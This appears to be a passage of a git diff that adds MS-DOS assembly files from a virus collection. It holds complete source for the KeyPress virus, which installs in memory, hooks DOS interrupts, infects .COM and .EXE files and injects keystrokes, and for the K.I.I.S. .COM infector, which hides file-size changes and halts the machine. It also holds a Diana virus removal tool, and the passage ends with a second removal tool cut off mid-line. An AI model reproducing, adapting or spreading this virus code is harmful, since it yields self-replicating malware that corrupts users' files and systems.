+; After compiling the new virus, enter the new size in paragraphs in VirParSize +; and compile again. + +VirParSize equ 4Ch ; Size of the original KeyPress virus + +VirStart: jmp long VirBegin + db 0 + +ComStart: mov bx,cs ; When the virus has infected a .COM file, + add bx,[102h] ; this is the jump to the virus. Actually, + push bx ; this code is overwritten with the code + mov bx,offset VirBegin ; in the end of the virus. + push bx + retf + +EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file + +VirSize dw VirParSize shl 4 ; Size of virus in whole pars + +VirPars dw VirParSize + 1 ; Size of virus in pars+1 + +MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack) + +Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File +R_Ax dw (?) +R_Bx dw (?) +R_Cx dw (?) +R_Dx dw (?) +R_Di dw (?) +R_Si dw (?) +R_Bp dw (?) +R_Es dw (?) +R_Ds dw (?) +R_SS dw (?) +R_SP dw (?) + +Exe_CS dw (?) +Exe_IP dw (?) + + +VirBegin: call Save_Regs ; Start of virus + call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files) + call Get_cs_ip ; Get CS and IP of original prog + call Check_res ; Check virus already resident + jb Exit_inst ; Yes, quit + + call Inst_mem ; Install in memory + jb Exit_inst ; Error, quit + + call Inst_ints ; Hook interrupts +Exit_Inst: jmp short Rst_regs_prg + nop + +Jmp_Prg: db 0EAh ; Jump to original program +PrgOfs dw (?) +PrgSeg dw (?) + +Check_res: push ds + xor bx,bx + mov ds,bx + mov bx,600h ; Unused word in memory + cmp word ptr [bx],1 ; Already installed? + jz Installed ; Yes + + mov word ptr [bx],1 ; No + stc + +Installed: cmc + pop ds + ret + + +;*** For .EXE: Fix orig-prog CS and SS *** + +Fix_cs_ss: test byte ptr [Com_or_exe],1 + jz no_exe + + mov ax,es + add ax,10h + add Exe_cs,ax + add R_ss,ax + +No_Exe: ret + + +;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes *** + +Get_cs_ip: mov ax,[Exe_cs] + mov bx,[Exe_ip] + test byte ptr [Com_or_exe],1 + jnz No_rest ; .EXE file: no restore of first bytes + + mov ax,es + mov bx,100h + mov cx,10h + mov si,offset First_bytes + mov di,100h + cld + repz ; Restore first 16 bytes (.COM file) + movsb + +No_rest: mov [Prgseg],ax + mov [Prgofs],bx + ret + + +;*** Proc: Save the registers to restore them after the virus has ended *** + +Save_Regs: mov cs:R_ds,ds + push cs + pop ds + mov R_ax,ax + mov R_bx,bx + mov R_cx,cx + mov R_dx,dx + mov R_di,di + mov R_si,si + mov R_bp,bp + mov R_es,es + ret + + +;*** Restore regs for original program *** + +Rst_regs_prg: mov ax,R_ax + mov bx,R_bx + mov cx,R_cx + mov dx,R_dx + mov bp,R_bp + mov di,R_di + mov si,R_si + mov es,R_es + test byte ptr [Com_or_exe],1 + jz No_StackRest ; No stack restore for .COM files + + cli + mov ss,[R_ss] ; Restore .EXE stack + mov sp,[R_sp] + sti + +No_StackRest: mov ds,R_ds + jmp short jmp_prg + + +;*** Restore regs for interrupts *** + +Rst_regs_int: mov ax,R_ax + mov bx,R_bx + mov cx,R_cx + mov dx,R_dx + mov bp,R_bp + mov di,R_di + mov si,R_si + mov es,R_es + mov ds,R_ds + ret + + +;*** Proc: Search for last MCB *** + +Last_MCB: push ds + mov bx,es + dec bx + +Next_MCB: mov ds,bx + cmp byte ptr [0],5Ah ; Last MCB? + jz Is_last ; Yes + inc bx + add bx,[3] ; Go to next + cmp bx,0A000h ; In ROM? + jb Next_MCB ; No, try next one + +Is_Last: pop ds + ret + + +;*** Proc: Install virus in end of memory *** + +Inst_Mem: call Last_mcb ; Search last MCB + cmp bx,0A000h ; In ROM? + jb Not_ROM ; No, continue + +No_Inst: push cs ; Yes, quit + pop ds + stc ; Error, virus not installed + ret + +Not_ROM: mov ds,bx + mov ax,[3] ; AX = Size last MCB + sub ax,cs:[VirPars] ; - (Virussize in pars+1) + jbe no_inst ; Not enough memory, quit + cmp ax,800h + jb no_inst ; Less than 2048 pars free, quit + mov [3],ax ; Give program less space to install virus + add bx,ax + inc bx ; BX = seg where virus comes + mov es:[2],bx ; Enter in PSP, program not allowed there + sub bx,10h ; - 10h pars (virus starts at 100h) + push bx + push cs + pop ds + pop es + mov si,100h + mov di,si + mov cx,[VirSize] ; CX = virussize + cld + repz ; Copy virus to virus-segment + movsb + clc ; No error, virus installed + ret + + +;*** Install new interrupts (1C - Timer Tick, 21 - DOS) *** + +Inst_Ints: push es + pop ds + mov word ptr [Ticks],0 + mov ax,351Ch ; Get Addr Timer Tick + int 21h + mov I1c_ofs,bx + mov I1c_seg,es + mov ax,3521h ; Get Addr DOS-Int + int 21h + mov I21_ofs,bx + mov I21_seg,es + mov ax,251Ch + mov dx,offset New_I1c + int 21h ; Install New Timer-Tick Int + mov dx,offset I21_dos12 + push dx + mov ah,30h ; Get DOS-Version + int 21h + pop dx + cmp al,3 ; Below 3.0? + jb DosBel3 + mov dx,offset new_I21 ; No, new int +DosBel3: mov ax,2521h ; Install new DOS-Int + int 21h + push cs + pop ds + ret + + +;*** Proc: NEW 1C (TIMER TICK) INTERRUPT *** +; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the +; keyboard-interrupt. + +Ticks dw (?) + +New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded' + cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed? + jb org_I1c ; No, go to orig. I1c + cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed? + jbe screw_keys ; Not yet, give ESCs + mov word ptr cs:[Ticks],0 ; Time-counter to 0 + jmp short Org_I1c ; Go to orig. I1c +Screw_Keys: push cx + mov cx,5 ; 5 times / tick +Put_Key: int 9 ; Give extra key + loop Put_key + pop cx +Org_I1c: db 0EAh ; Jump far to orig. I1c +I1c_Ofs dw (?) +I1c_Seg dw (?) + +New_I24: mov al,0 + +New_I23: iret + +I23_Ofs dw (?) +I23_Seg dw (?) + +I24_Ofs dw (?) +I24_Seg dw (?) + +ProgSize dw (?) ; Program size in paragraphs + +New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 + + jz Is_Start + jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21 +Is_Start: call Save_Regs + call InstCritInt ; Install new ^c and crit. err. int + mov ax,3D02h ; Open file for read and write + mov ds,R_Ds + int 21h + push cs + pop ds + jc Close_File + mov bx,ax + call Read_header + jc Close_File + call Write_virus + jc Close_File + call Write_header +Close_File: mov ah,3Eh ; Close file + int 21h + call RestCritInt ; Restore ^c and crit-err ints + call Rst_regs_int + jmp far dword ptr cs:[I21_Ofs] + +I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x + jz Is_Open + +JmpDos: db 0EAh ; Jump Far +I21_Ofs dw (?) +I21_Seg dw (?) + +Is_Open: push ax ; Network-flags? + and al,0FCh + pop ax + jnz JmpDos ; Yes -> DOS + + call Save_Regs + + call InstCritInt ; Install new ^c and crit. err. int + + mov DS,R_Ds + or al,2 ; Write access + pushf + cli + call far cs:[I21_Ofs] ; Open file + push cs + pop ds + jc Open_Error ; Error opening -> DOS + + pushf + mov [R_Ax],ax ; Save handle + mov bx,ax + + call Chk_Inf ; Check infection is possible + jc No_Infect ; No -> quit + + call Read_header + jc No_Infect + + call Write_virus + jc No_Infect + call Write_header +No_Infect: call Go_file_beg ; Go to begin of file + call RestCritInt ; Restore ^c and crit-err ints + call Rst_regs_int + popf + retf 2 +Open_Error: call RestCritInt ; Restore ^c and crit-err ints + call Rst_regs_int + jmp short JmpDos + + +;*** Proc: Buffer for header of program to infect *** + +Head_buf dw 0Ch dup (?) + + +;*** Proc: Install new ^C and crit. err. interrupt *** + +InstCritInt: push ax + push bx + push dx + push ds + push es + push cs + pop ds + mov ax,3523h ; Get Ctrl-Break Int Addr + int 21h + mov I23_Ofs,bx + mov I23_Seg,es + mov ax,3524h ; Get Crit. Err Int Addr + int 21h + mov I24_Ofs,bx + mov I24_Seg,es + mov ax,2523h + mov dx,offset New_I23 ; Install new Ctrl-Break Int + int 21h + mov ax,2524h ; Install new Crit. Err Int + mov dx,offset New_I24 + int 21h + pop es + pop ds + pop dx + pop bx + pop ax + ret + + +;*** Proc: Restore orig. ctrl-break and crit. err. interrupt *** + +RestCritInt: mov ax,2524h ; Rest. orig. crit. err int + lds dx,dword ptr cs:[I24_Ofs] + int 21h + mov ax,2523h ; Rest. orig. ctrl-break int + lds dx,dword ptr cs:[I23_Ofs] + int 21h + push cs + pop ds + ret + + +;*** Read header of file *** + +Read_header: mov ah,3Fh + mov dx,offset Head_buf + mov cx,18h + int 21h + jc HeadRead_Err ; Error reading, don't infect + + call Check_infect ; Check file already infected; if not, save data + jc HeadRead_Err ; Error, quit + + call Calc_data ; Calculate data for infected file + jc HeadRead_Err ; Error, quit + +HeadRead_Err: ret + + +;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus *** + +Write_virus: mov ah,40h ; Write virus behind program + mov cx,[VirSize] + mov dx,100h + int 21h + jc Err_Writ ; Write error, quit + cmp ax,cx + jnz Err_Writ ; ' ' ' ' ' ' + test byte ptr [Com_or_exe],1 + jz First_Write + ret + +First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus + mov cx,10h + mov dx,offset Head_buf + int 21h + jc Err_Writ ; Write error, quit + cmp ax,cx + jnz Err_Writ ; ' ' ' ' ' ' + clc ; End procedure, no error + ret + +Err_Writ: stc ; End procedure, error + ret + + +;*** Proc: .COM: Write jump-to-virus, .EXE: Write header *** + +Write_header: call Go_file_beg ; Go to begin of file + test byte ptr [Com_or_exe],1 ; .EXE-file? + jnz Exe_header + mov ah,40h ; .COM file - Write 'EB 02' + mov cx,2 + mov dx,offset EB02 + int 21h + mov ah,40h ; Write program-size in pars + mov cx,2 + mov dx,offset ProgSize + int 21h + mov ah,40h ; Write rest of begin of virus + mov cx,0Ch + mov dx,104h + int 21h + ret + +Exe_header: mov ah,40h ; Write in File + mov cx,18h + mov dx,offset Head_buf + int 21h + ret + + +;*** Proc: Change file pointer *** + +Cng_file_ptr: mov ax,4200h + int 21h + ret + + +;*** Proc: Go to begin of file *** + +Go_file_beg: xor cx,cx ; Filepointer = 0 + xor dx,dx + call Cng_file_ptr ; Change File Pointer + ret + + +;*** Proc: Check file is already infected *** + +Check_infect: mov si,104h + mov di,offset Head_buf+4 + push cs + pop es + mov byte ptr [Com_or_exe],0 ; Flag for .COM + cmp word ptr [di-04],5A4Dh ; Is .EXE? + jz Is_Exe + mov cx,0Ch ; No, .COM file + cld + repz ; Already infected? + cmpsb + jnz Do_Infect ; Not yet +Dont_Infect: stc + ret +Do_Infect: clc + ret +Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE + mov cx,[offset Head_buf+14h] ; cx = Prog-IP + cmp cx,offset VirBegin ; Same as Vir-IP? + jz Dont_Infect ; Yes, quit + cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0? + jz Dont_Infect ; Yes, quit + mov [Exe_ip],cx ; Save prog-IP + mov cx,[Head_buf+16h] + mov [Exe_cs],cx ; Save prog-cs + mov cx,[Head_buf+0Eh] + mov [R_ss],cx ; Save prog-SS + mov cx,[Head_buf+10h] + mov [R_sp],cx ; Save prog-SP + jmp short Do_Infect + + +;*** Proc: Calculate data for infection *** + +Calc_data: mov ax,4202h ; Go to EOF + xor cx,cx + xor dx,dx + int 21h + test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)? + jz No_par_add ; Yes, no extra par added + add ax,10h ; Add paragraph + adc dx,0 ; Overflow -> Inc dx + and ax,0FFF0h ; Make paragraphs +No_par_add: test byte ptr [Com_or_exe],1 + jnz Calc_exe + or dx,dx + jnz not_infect + cmp ax,[maxcomsize] ; File too big? + ja not_infect ; Yes, quit + cmp ax,[VirSize] ; File too small? + jbe Not_Infect ; Yes, quit + mov [ProgSize],ax ; Save program-size + mov cl,4 + shr word ptr [ProgSize],cl ; In paragraphs + mov dx,ax + xor cx,cx + call Cng_file_ptr ; Go to EOF + clc + ret +Not_Infect: stc + ret + +Calc_exe: push ax + push dx + add ax,100h ; 100 bytes stack + adc dx,0 ; Overflow - inc dx + mov cx,dx + mov dx,ax + call Cng_file_ptr ; Go to EOF + push bx + add ax,[VirSize] ; New exe-length + adc dx,0 + mov bx,200h ; For header: / 512 + div bx + or dx,dx + jz No_Correct + inc ax ; Files below 2.000.000h bytes - length correction +No_Correct: mov [Head_buf+2],dx ; Save new file-length + mov [Head_buf+4],ax ; ' ' ' ' ' ' ' ' + pop bx + pop dx + pop ax + call Calc_cs_ss + mov word ptr [Head_buf+10h],100h ; Prog-SP=100h + mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP + clc + ret + + +;*** Proc: Calculate new CS and SS for .EXE file *** + +Calc_cs_ss: push cx + mov cx,4 +Cs_ss_lp: shr dx,1 + rcr ax,1 + loop Cs_ss_lp + sub ax,[Head_buf+8] ; Size of header + sbb dx,0 + mov [Head_buf+0Eh],ax ; Save prog-SS + mov [Head_buf+16h],ax ; Save prog-cs + pop cx + ret + + +;*** Check infection is possible *** + +Chk_Inf: call Chk_exec ; Check file is executable + jb Not_exec + call Get_attr ; Check file has no SYS attr +Not_Exec: ret + + +;*** Search-paths *** + +Com_path db '.COM',0 + +Exe_path db '.EXE',0 + + +;*** Check file is executable (.COM / .EXE) + +Chk_Exec: push es + mov es,R_ds + mov di,dx + xor al,al + mov cx,80h + cld + repnz ; Search '.' + scasb + jnz not_inf ; No '.' found + dec di + push di + mov si,offset Com_path+4 + mov cx,4 + std + repz ; Check '.COM' + cmpsb + pop di + jnz no_com ; No .COM + clc + jmp short Infect + nop +Not_Inf: stc + +Infect: cld + pop es + ret +No_Com: mov si,offset Exe_path+4 + mov cx,4 + repz ; Check '.EXE' + cmpsb + jnz not_inf ; No .EXE either - not executable + clc + jmp short infect + +Get_Attr: push ds + mov ax,4300h ; Get FileAttr + xor cx,cx + mov ds,R_ds + int 21h + pop ds + jb Bad_Attr ; Error - don't infect + test cx,4 ; System-Attr? + jnz Bad_Attr ; Yes, don't infect + clc + ret + +Bad_Attr: stc + ret + +First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS' + dw (?) + mov bx,cs ; Overwrites the begin + add bx,[102h] + push bx + mov bx,offset VirBegin + push bx + retf + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/k/KIIS.ASM b/k/KIIS.ASM new file mode 100755 index 0000000..2fa384b --- /dev/null +++ b/k/KIIS.ASM @@ -0,0 +1,269 @@ + +;************************************************************************; +;* T Virus 25.10.1991 . *; +;* *; +;* " . " 17:18.30 hour *; +;* *; +;* 316 ... *; +;************************************************************************; + +start: jmp short begin + db (00h) + db (53h) ; + db (4bh) ; + int 20h +okey: db (0b8h) + db (03h) + db (00h) + db (0cdh) + db (10h) + +begin: push cx ; + CALL F1 ; +F1: POP SI ; 5 + SUB SI,09 ; + PUSH SI ; + cld ; + mov di,100h ; + mov cx,5 ; + rep movsb ; + jmp ding2 + +new21: pushf ; CALL INT 21h + push cs ; IBMDOS.COM - - + call Word ptr cs:[8c0h] ; + ret ; Anti4us.exe, NDD .. + +int21h: STI + cmp ah,4bh ; + jz mm ; + cmp ah,11h ; + jz home ; DIR . + cmp ah,12h ; + jz home + jmp int1hh + +home: call new21 ; DIR + push ax ; 10:26 , + push bx ; - + push es ; + ; . + mov ah,2fh ; DTA ES:BX . bx+1eh + call new21 ; 10:26 ; + mov ax,534bh + cmp Word ptr es:[bx+1eh],ax + jnz ox + mov ax,End-Okey+3 + sub Word ptr es:[bx+24h],ax +ox: pop es ; 10:26 , + pop bx ; + pop ax ; - + db (0CAh) ; . + dw (2) + + ;****************************************************; + ;* *; + ;****************************************************; + +mm: pushf + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + xor ax,ax + mov ds,ax + mov di,[0194h] + mov es,[0196h] + mov ax,[004ch] + mov bx,[004eh] + mov cx,0f000h + mov dx,0ec59h + mov [0100h],dx + mov [0102h],cx + mov [0198h],ax + mov [019ah],bx + mov [004ch],di + mov [004eh],es + mov ax,0a15h+new24-begin + push cs + pop ds + push cs + pop es + mov ah,2ch + call new21 + cmp cx,0200h + jna mm1 + mov ax,0003h + int 10h + mov ah,09h + mov dx,0a15h+n-begin + call new21 + cli + hlt + +dinge: jmp ding + +mm1: mov ah,2fh ;Dos service function ah=2FH (get DTA) + call new21 + mov cs:[8b0h],es + mov cs:[8b2h],bx + MOV AH,4eH + MOV DX,0a10h+files-okey + mov cx,0 + call new21 + jc dinge ;CX File attribute + ;DS:DX Pointer of filespec (ASCIIZ string) +vir: mov ax,534bh + cmp es:[bx+16h],ax + jnz fuck +vir1: mov ah,4fh + call new21 + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov cx,1500 + cmp es:[bx+1ah],cx + jna vir1 +fuck1: push es + pop ds + mov ax,3d02h + mov dx,bx + add dx,1eh + call new21 + mov cs:[0a10h+handle-okey],ax + mov bx,ax + push cs + pop ds + mov ah,3fh + mov dx,0a10h + mov cx,5 + call new21 + mov di,0a10h+end-okey + mov al,0e9h + mov [di],al + inc di + mov bx,[8b2h] + mov cx,es:[bx+1ah] + inc cx + inc cx + mov [di],cx + inc di + inc di + mov ax,534bh + mov [di],ax + mov bx,cs:[0a10h+handle-okey] + mov ax,4200h + xor cx,cx + xor dx,dx + call new21 + mov ah,40h + mov dx,0a10h+end-okey + mov cx,5 + call new21 + mov ax,4202h + xor cx,cx + xor dx,dx + call new21 + push cs + pop ds + mov bx,cs:[0a10h+handle-okey] + mov ah,40h + mov dx,0a10h + mov cx,end-okey-3 + call new21 + mov bx,cs:[0a10h+handle-okey] + mov ax,5700h + call new21 + mov ax,5701h + mov cx,534bh + call new21 + mov ah,3eh + call new21 +ding: xor ax,ax + mov ds,ax + mov ax,[0198h] + mov bx,[019ah] + mov [004ch],ax + mov [004eh],bx + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf + +int1hh: jmp word ptr cs:[8c0h] ; 21 + +files: db '*.com',0 ; COM + +new24: mov al,03 ; Int 24h Write Protect + iret + +ding2: MOV AX,0070h ; 0070h: + MOV ES,AX ; INT13H + MOV DI,0000h + MOV AX,80FBh +non1: CLD + MOV CX,0FFFFh +non2: REPNZ SCASW + JZ non + MOV DI,0001h + JMP non1 +non: MOV BX,02FCh + CMP ES:[DI],BX + JNZ non2 + DEC DI + DEC DI + xor ax,ax ; INT13H + mov ds,ax ; + mov [0194h],di + mov [0196h],es + mov es,[009eh] + mov bx,[00a0h] + push cs + pop ds + MOV BP,DS + pop si + push si ; + MOV DI,0a10h ; COMMAND.COM + MOV CX,Handle-Okey ; + REP MOVSB ; + PUSH ES ; Int 21h + LEA DI,[BX+1bh] + MOV AL,0e9h + STOSB + MOV AX,0A30h + SUB AX,DI + STOSW + MOV AX,9090H + STOSW + STOSW + MOV ES:[8c0h],DI + MOV AX,SS + SUB AX,0018h + CLI + MOV SS,AX + STI + MOV DS,BP + POP ES + pop si + pop cx + xor ax,ax + xor bx,bx + xor dx,dx + xor si,si + mov di,100h + push di + xor di,di + ret +n: db "K.I.I.S. ",024h ; 2 . +handle: dw ? ; . +end: db (00) + \ No newline at end of file diff --git a/k/KILDIA.ASM b/k/KILDIA.ASM new file mode 100755 index 0000000..7b486ae --- /dev/null +++ b/k/KILDIA.ASM @@ -0,0 +1,541 @@ + +memS equ 1 ;model small convertable to COM model +;**************** RUNTIME LIBRARY OF KILLDIANA.COM ************** +include lcmac.mac +calln macro name + call near ptr name + endm +callp macro name + lea dx,name + calln print + endm +callz macro name + push si + lea si,name + calln printz + pop si + endm + +dgroup group data,udata,xstack + assume ds:data + +pgroup group prog,tail +prog segment byte public 'prog' + assume cs:prog + + org 100h ;FOR MODEL COM + +start label far + cli + mov ax,offset pgroup:xtail ;get end of code group + add ax,16 ;calculate segment address of ds + mov cl,4 ;calculate segment address of ds + shr ax,cl ;calculate segment address of ds + mov bx,cs ;calculate segment address of ds + add ax,bx ;calculate segment address of ds + mov ds,ax ;set ds to dgroup + mov es,ax ;set es to dgroup + mov ss,ax ;set ss to dgroup + mov ds:_ss,ax ;save stack segment for (do,for,while) + mov sp,offset dgroup:sbase + 512 ;range of stack = 512 bytes + mov ds:_top,sp ;save stack pointer for (do,for,while) + mov bx,offset dgroup:sbase ;get stack segment for (do,for,while) + mov ds:_base,bx ;save stack segment for (do,for,while) + sti + mov ah,30h ;get dos version number + int 21h + mov ds:_dos,ax ;save dos version for (do,for,while) + callp copyr + callp tryrem + calln remove + callp weak + + lea di,fname + mov si,82h +getf: + mov al,cs:[si] + cmp al,0dh + je tonul + cmp al,' ' + jc blank + mov [di],al + inc di +blank: inc si + .br getf +tonul: clr al + mov [di],al + calln prefix + calln comwrk +; calln exewrk + mov ah,4ch + int 21h ;exit to DOS + +print proc near + mov ah,9 + int 21h + ret +print endp + +comwrk proc near + calln first + jc toret + calln workcom +ffnext: + calln fnext + jc toret + calln workcom + .br ffnext +toret: + ret +comwrk endp +fnext proc near + mov ah,4fh ;findnext + int 21h + jc ercc + jnc foundf +fnext endp +first proc near + lea dx,fname + mov cx,27h ;search all types of files + mov ah,4eh ;findfirst + int 21h + jnc foundf + callp notfnd +ercc: stc + ret +foundf: + calln konka + clc + ret +first endp +konka proc near + mov ah,2fh + int 21h ;get dta in es:bx + add bx,26 + mov ax,es:[bx] + mov llfil,ax ;save lowlengh + inc bx + inc bx + mov ax,es:[bx] + mov lhfil,ax ;save highlengh + inc bx + inc bx ;pointed to fname + lea si,ffname + lea di,fname + push es + push ds + pop es + mov cx,40h +repe cmpsb + pop es + dec si +copyf: mov al,es:[bx] + mov [si],al + inc si + inc bx + or al,al + jne copyf + ret +konka endp + +prefix proc near + lea si,fname + add si,40h + mov cx,40h + std +lodi: + lodsb + cmp al,'\' + je founds + cmp al,':' + je founds + loop lodi + mov nepar,offset fname + .br endcp +founds: + inc si + inc si + mov nepar,si + lea si,fname + lea di,ffname +cpag: + cmp si,nepar + jae endcp + mov al,[si] + mov [di],al + inc si + inc di + .br cpag +endcp: + cld + ret +prefix endp + + +remove proc near + push ds + clr ax + mov ds,ax + les bx,ds:[84h] ;21h vector + mov ax,cs + mov dx,es + cmp dx,ax + jc nodia + cmp bx,2eeh + jne nodia + + mov ax,es:[74fh] + mov ds:[84h],ax ;restore 21h + mov ax,es:[751h] + mov ds:[86h],ax + + mov ax,es:[74bh] + mov ds:[9ch],ax ;restore 27h + mov ax,es:[74dh] + mov ds:[9eh],ax + mov ax,es + mov bx,ax + dec ax + mov es,ax + mov es:byte ptr[0],5ah + mov es:word ptr[1],0 + pop ds + callp diakt + ret +nodia: + pop ds + callp dinakt + ret +remove endp + +workcom proc near + lea dx,ffname + mov ax,4300h ;get attrib + int 21h + jnc kopa + jmp retga +kopa: + mov al,cl + and al,0feh + cmp al,cl + je nochatr + + mov attr,cx + mov ax,4301h ;set attrib + clr cx ;to normal + int 21h + .br nochh +nochatr: + mov attr,0 +nochh: + mov ax,3d02h ;open file R/W + int 21h + jnc kop1 + jmp resatr +kop1: mov bx,ax + calln gettm + mov cx,18h + lea dx,bufer + mov ah,3fh ;read first 3 bytes + int 21h + jc closs2 + mov di,dx + mov ax,ds:[di] + cmp ax,5a4dh + jne commfil + push bx + calln exework + pop bx + jc chek2 + jmp closs + +commfil: + mov al,ds:[di] + cmp al,0e9h + je mak111 + jmp closs +mak111: mov si,ds:[di+1] ;relative offset + add si,3 + mov di,si + sub si,68h + mov len,si + + clr cx + mov dx,di + mov ax,4200h + int 21h ;seek to found e80000 +closs2: jc clos21 + + lea dx,bufer + add dx,18h+3 + mov cx,7 ;read 7 bytes + mov ah,3fh + int 21h ;read +clos21: jnc chek1 +chek2: jmp closs +chek1: + mov di,dx + cmp ds:byte ptr[di],0e8h + jne chek2 + cmp ds:word ptr[di+1],0 + jne chek2 + cmp ds:word ptr[di+4],0ee81h + jne chek2 + cmp ds:word ptr[di+6],6bh + jne chek2 + + clr cx + mov dx,si + add dx,705h + mov ax,4200h + int 21h ;seek to found org 3bytes + jc closs + lea dx,bufer + add dx,18h + mov cx,3 ;read 3 bytes + mov ah,3fh + int 21h ;read + jc closs + lea si,bufer +restor3: + mov al,[si+18h] + mov [si],al + inc si + loop restor3 + clr cx + clr dx + mov ax,4200h ;seek to begin + int 21h + jc closs + + mov cx,18h + lea dx,bufer + mov ah,40h ;write + int 21h + jc closs + + clr cx + mov dx,len + mov ax,4200h ;seek to end of real data + int 21h + jc resatr +exelen: + clr cx + mov ah,40h ;truncate file + int 21h + push bx + callp file + callz ffname + callp isok + + pop bx +closs: + calln settm + mov ah,3eh + int 21h ;close file + +resatr: + mov cx,attr ;to old attributes + or cx,cx + je retga + lea dx,ffname + mov ax,4301h ;set attrib + int 21h +retga: + ret +workcom endp +printz proc near +eter: mov ah,2 + lodsb + or al,al + je caret + mov dl,al + int 21h + .br eter +caret: + ret +printz endp + +gettm proc near + mov ax,5700h + int 21h + jc qget + mov atcx,cx + mov atdx,dx +qget: + ret +gettm endp + +settm proc near + mov ax,5701h + mov cx,atcx + mov dx,atdx + or cx,cx + je qset + or dx,dx + je qset + int 21h +qset: + ret +settm endp +exework proc near + mov ax,[di+16h] ;get main lenght in pargarphs + mov cx,16 + mul cx + push bx + mov bx,[di+8] + mov cl,4 + shl bx,cl + add ax,[di+14h] ;get IP + adc dx,0 + add ax,bx + adc dx,0 + pop bx + mov exhlen,dx + mov exllen,ax + mov cx,dx + mov dx,ax + mov ax,4200h + int 21h ;seek to begin Diana code + + lea dx,bufer + add dx,18h+3 + mov cx,7 ;read 7 bytes + mov ah,3fh + int 21h ;read + jc echek2 + mov di,dx + cmp ds:byte ptr[di],0e8h + jne echek2 + cmp ds:word ptr[di+1],0 + jne echek2 + cmp ds:word ptr[di+4],0ee81h + jne echek2 + cmp ds:word ptr[di+6],6bh + je exgoin +echek2: + stc + ret +exgoin: + sub exllen,68h + sbb exhlen,0 ;contains lenght of file + + mov dx,exllen + mov cx,exhlen + add dx,707h + adc cx,0 + mov ax,4200h + int 21h ;seek to old vectors + lea dx,bufer + add dx,26h + mov cx,1 + mov ah,3fh + int 21h ;read old cs:ip, ss:sp + jc echek2 + + mov dx,exllen + mov cx,exhlen + add dx,6fdh + adc cx,0 + mov ax,4200h + int 21h ;seek to old vectors + lea dx,bufer + add dx,18h + mov cx,8 + mov ah,3fh + int 21h ;read old cs:ip, ss:sp + jc echek2 + + mov ax,llfil + mov dx,lhfil + sub ax,exllen + sbb dx,exhlen + mov lhfil,dx + mov llfil,ax + lea di,bufer + mov ax,[di+4] + mov cx,512 + mul cx + add ax,[di+2] + adc dx,0 + sub ax,llfil + sbb dx,lhfil + div cx + mov cx,dx + mov dl,[di+26h] + sub cx,dx + mov rema,cx + mov [di+2],dx ;store remainder of lenght + mov [di+4],ax ;store /512 lenght + + mov ax,[di+18h] ;get ip + mov [di+14h],ax ;store + mov ax,[di+1ah] ;get cs: + mov [di+16h],ax ;store + + mov ax,[di+1ch] ;get sp + mov [di+10h],ax ;store + mov ax,[di+1eh] ;get ss: + mov [di+0eh],ax ;store + + clr cx + clr dx + mov ax,4200h + int 21h ;seek to prefix + mov cx,18h ;to write new prefix + lea dx,bufer + mov ah,40h + int 21h ;write 18h bytes prefix + mov cx,exhlen + mov dx,exllen + sub dx,rema + sbb cx,0 + mov ax,4200h + int 21h ;seek end of file + jmp exelen +exework endp + +prog ends + +tail segment word 'prog' ;help segment to allocate end of code +xtail dw -1 ;and set the data segment +tail ends + +data segment para public 'data' ;data segment + +fname db 40h dup(0) +ffname db 40h dup(0) +bufer db 27h dup(0) +_ss dw ? ;Lattice variables +_base dw ? ;Lattice variables +_dos dw ? ;Lattice variables +_top dw ? ;Lattice variables +nepar dw 0 +fhand dw 0 +exhlen dw 0 +exllen dw 0 +llfil dw 0 +lhfil dw 0 +len dw 0 +attr dw 0 +atcx dw 0 +atdx dw 0 +rema dw 0 +notfnd db 'File not found',13,10,'$' +copyr db 'Dianakiller program V1.0 (C)Copyright Deny_Soft 1989',13,10,'$' +tryrem db 'Searching Diana in memory...',13,10,'$' +diakt db 'Diana found',7,' and removed extra',13,10,'$' +dinakt db "Diana isn't active",13,10,"$" +weak db 'Searching for weak files...',13,10,'$' +file db 'File $' +isok db 9,9,' ... restored',13,10,'$' + +data ends + .pub <_ss,_base,_dos,_top> ;make external +udata segment public 'data' +udata ends +xstack segment 'data' +sbase dw 512 dup (?) +xstack ends + end start + \ No newline at end of file diff --git a/k/KILLEDDI.ASM b/k/KILLEDDI.ASM new file mode 100755 index 0000000..b370123 --- /dev/null +++ b/k/KILLEDDI.ASM @@ -0,0 +1,654 @@ + +memS equ 1 ;model small convertable to COM model +;**************** RUNTIME LIBRARY OF KILLDIANA.COM ************** +include lcmac.mac +calln macro name + call near ptr name + endm +callp macro name + lea 